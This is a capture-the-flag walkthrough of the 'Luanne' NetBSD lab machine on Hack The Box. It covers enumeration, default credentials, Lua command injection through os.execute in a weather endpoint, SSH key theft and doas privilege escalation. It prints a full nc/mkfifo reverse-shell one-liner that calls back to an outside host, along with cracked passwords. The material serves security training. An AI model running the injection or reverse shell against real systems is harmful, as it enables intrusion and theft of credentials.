HTB - Luanne

Overview

This easy difficulty BSD system...Short description to include any strange things to be dealt with

Useful Skills and Tools

Decrypt .enc file in BSD

  • description with generic example

Run commands as another user (sudo) in BSD

Location of password hashes in BSD

/etc/master.passwd

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.218. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves all types of output (.nmap,.gnmap, and .xml) with filenames of <name>.

Nmap only showed three ports were open on this machine: 22- SSH, 80 - HTTP, and 9001 - which said Medusa httpd 1.12 (Supervisor process manager).

Port 80 - HTTP

I started out my enumeration by navigating to 10.10.10.218 in my browser.

I was immediately greeted by a Basic HTTP authorization prompt. Since I didn't have any credentials I tried a few basic defaults, but no luck.

Navigating to /index.html brought me to a default nginx installation page.

There was only one disallow line in robots.txt that showed a directory called /weather.

This did not reveal anything interesting, however. I left dirbuster running while I checked out the next service. I searched for exploits related to this version of nginx but only found a few denial of service vulnerabilities and a CNAME leakage. There was nothing useful.

Port 9001 - HTTP

Navigating to the page hosted on port 9001 also gave me a Basic HTTP authentication prompt. However, this one gave me a little clue. I did some research on the Supervisor process manager, looking for default credentials after seeing the hint of "default".

default seemed to be user:123 from the manual (though it specifies none:none)

after logging in I had a supervisor-status page that showed what appeared to be running processes on the server

I saw a cron in the process output, as well as a weather.lua

I tried checking for local file inclusion and code execution vulnerabilities but they just gave errors.

Port 80 - /weather/forecast/

I found a directory /weather/forecast/ using Dirbuster.

"No city specified. Use 'city=list' to list available cities."

'test' showed unknown city error

Sending a query of ' (single quote) resulted in a "nil value" Lua error. I expected to test for a SQL injection vulnerability, but got something else instead. I did some reading on Lua syntax to see if I could figure out how to get this to execute code.

My first attempt triggered a warning from NoScript about a possible XSS attack. I had to close off the function parameters with '), separate the commands with a ;, and use a Lua comment -- at the end closed off the insertion to get this warning. I still did not get code execution however.

Looking a bit closer at my attempt, I noticed that I had typed os.system('id') rather than os.execute('id') which NoScript saw as JavaScript, triggering that warning. Fixing this error allowed me to get command execution.

NoScript still caught the attempt using os.execute, but at least it drew my attention to my error the first time!

Using this command execution I pulled /etc/passwd to enumerate the users on the machine. There were only two users who could login with a shell, root and r.michaels.

The command uname -a revealed this to be a NetBSD system. I wasn't sure what kind of reverse shell would work on a BSD system, so I checked the one-stop-shop for all things Payload.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

I found a reverse shell with nc (without -e) for openbsd, and hoped that it would work for this distro as well. The response hung for awhile after sending, which was a good sign.

Initial Foothold

It worked!

Enumeration as _httpd

Checked to see if python3 was installed, but got an error that the PATH was not set. After some testing I found that my usual TTY upgrades were not working.

found an MD5 hash in .htpasswd

It cracked within seconds to reveal the password iamthebest.

I was able to use this to log into the other web portal on port 80.

There did not seem to be anything further I could do here other than discover the /weather/forecast/ endpoint I had already used to gain access to the machine.

Road to User

Since I only had one user to go off, I tried using that password to switch users to r.michaels but failed. I also tried finding everything that r.michaels had access to, but there wasn't much.

I tried to see what was in those directories, but couldn't see anything I could access.

There was a process run by the r.michaels user that seemed to be running another instance of the weather.lua, this time on port 3001.

Note: From other user's attempts from the process output I saw one that showedpython3.7 -c import pty;pty.spawn("/bin/sh"). You may be able to use this to upgrade your shell. I didn't notice this until after I was done, and it would have been metagaming anyways!

I tried using curl to get the local page at 3001 and got a "No Authorization" error.

since this page was the same as the one on port 80 I tried logging in as webapi_user. This time I was able to retrieve the site. It looked exactly the same as the one on port 80.

I tried to see if I could access the home directory since this process was being run as

searched for how to access home directory in a URL and found

Used in URLs, interpretation of the tilde as a shorthand for a user's home directory (e.g., http://www.foo.org/~bob) is a convention borrowed from Unix. Implementation is entirely server-specific, so you'd need to check the documentation for your web server to see if it has any special meaning.

The post was related to python, but it seemed to work, at least somewhat

it seems like the tilde thing is also used specifically in nginx

Putting the trailing slash on the url caused it to give me a directory listing

id_rsa sounded quite interesting

However, trying to retrieve the id_rsa file gave some errors.

Next I tried switching protocols to use ftp:// rather than http:// but that failed as well

Further enumeration

Finding user creds

I was finally able to get it by removing the specification for curl to interpret what it was pulling through the HTTP protocol

User.txt

got the user.txt flag

Path to Power (Gaining Administrator Access)

Enumeration as User r.michaels

r.michaels was only a member of the users group

In the /backups folder there was an encrypted tar file. Searching for netbsd tar.gz.enc led to

looks like 2048 bit rsa key

success

I was able to successfully extract the files, but right after I started to look through them the /tmp directory was cleaned up.

I noticed that this hash was different from the one I had cracked earlier.

This index.html was the same as the /forecast site I had seen earlier, however.

The webapi folder only contained the file weather.lua

Nothing useful here? There did seem to be a backdoor potentially written in, though it was commented out -- city=London') os.execute('id') --. I think this is where I injected my original access

The hash cracked almost immediately, finding a password of littlebear

I was able to run commands with doas with this password!

Root.txt

Note: /etc/master.passwd is where password hashes are stored in BSD, not /etc/shadow

Thanks to polarbearer for something interesting or useful about this machine.

If you like this content and would like to see more, please consider buying me a coffee!

PreviousHTB - DoctorNextMedium

Last updated

Was this helpful?